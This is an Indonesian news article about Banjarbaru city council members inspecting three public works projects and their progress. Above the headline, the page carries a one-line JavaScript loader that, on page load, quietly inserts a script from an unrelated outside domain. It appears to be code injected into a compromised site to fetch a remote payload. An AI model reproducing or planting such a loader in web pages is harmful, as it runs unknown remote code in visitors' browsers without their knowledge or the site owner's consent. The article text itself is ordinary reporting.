(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Komisi III Turun Lapangan Tinjau Tiga Proyek Pembangunan

KANALKALIMANTAN.COM, BANJARBARU – Komisi III DPRD Kota Banjarbaru melakukan pemantauan lapangan sejumlah proyek fisik yang tengah dikerjakan Dinas Pekerjaan Umum dan Penataan Ruang (DPUPR) Kota Banjarbaru.

Para wakil rakyat meninjau tiga proyek yakni pembangunan gedung Dinas Perhubungan Banjarbaru, Sistem Pengolahan Air Limbah Domestik Terpusat (SPALDT), dan pedestrian Jalan Panglima Batur, Senin (16/12/2024).

Anggota Komisi III DPRD Banjarbaru yang mengikuti peninjauan yakni Hindera Wahyudin dari Fraksi Partai Gerindra, M Fauzan Noor (NasDem), Tarmidi (PKB), Dicky (PAN), Rizal S (Demokrat), dan Munaji (PPP).

Wakil Ketua Komisi III DPRD Kota Banjarbaru Ronauli Saragih mengatakan, kegiatan peninjauan lapangan sebagai salah satu tugas Komisi III mengawasi pekerjaan fisik Satuan Kerja Perangkat Daerah (SKPD).

“Monitoring kunjungan lokasi sebagai bagian dari tugas kami untuk melakukan pengawasan guna lebih mengetahui sejauh mana progres pekerjaan,” ujar Ronauli.

Menurut Ronauli, sebelumnya Komisi III pada rapat bersama Dinas PUPR, Dishub, dan Disperkim mendapatkan informasi masih ada pekerjaan fisik yang belum rampung sehingga turun ke lapangan untuk monitoring dan evaluasi.

Komisi III menyoroti beberapa pekerjaan di gedung Dinas Perhubungan Banjarbaru yang masih tertunda, seperti pemasangan Aluminium Composite Panel (ACP) dan tahap finishing.

“Meski pelaksana dan Dinas PUPR optimis bisa menyelesaikan tepat waktu, kami tetap memberi catatan karena kontrak pengerjaan sudah mendekati batas akhir,” ungkap Ronauli.

Kepala Bidang Cipta Karya Dinas PUPR Banjarbaru Nina Aprodita menyebutkan progres proyek kantor Dishub mencapai 76,4 persen dan optimistis pekerjaan akan selesai sesuai jadwal yang ditetapkan.

“Kami optimis pekerjaan bisa selesai sesuai target karena semua material sudah tersedia dan tinggal dipasang. Namun, kami mendesak kontraktor menambah tenaga kerja agar target waktu tercapai,” kata Nina. (Kanalkalimantan.com/bie)

Reporter: bie
Editor: kk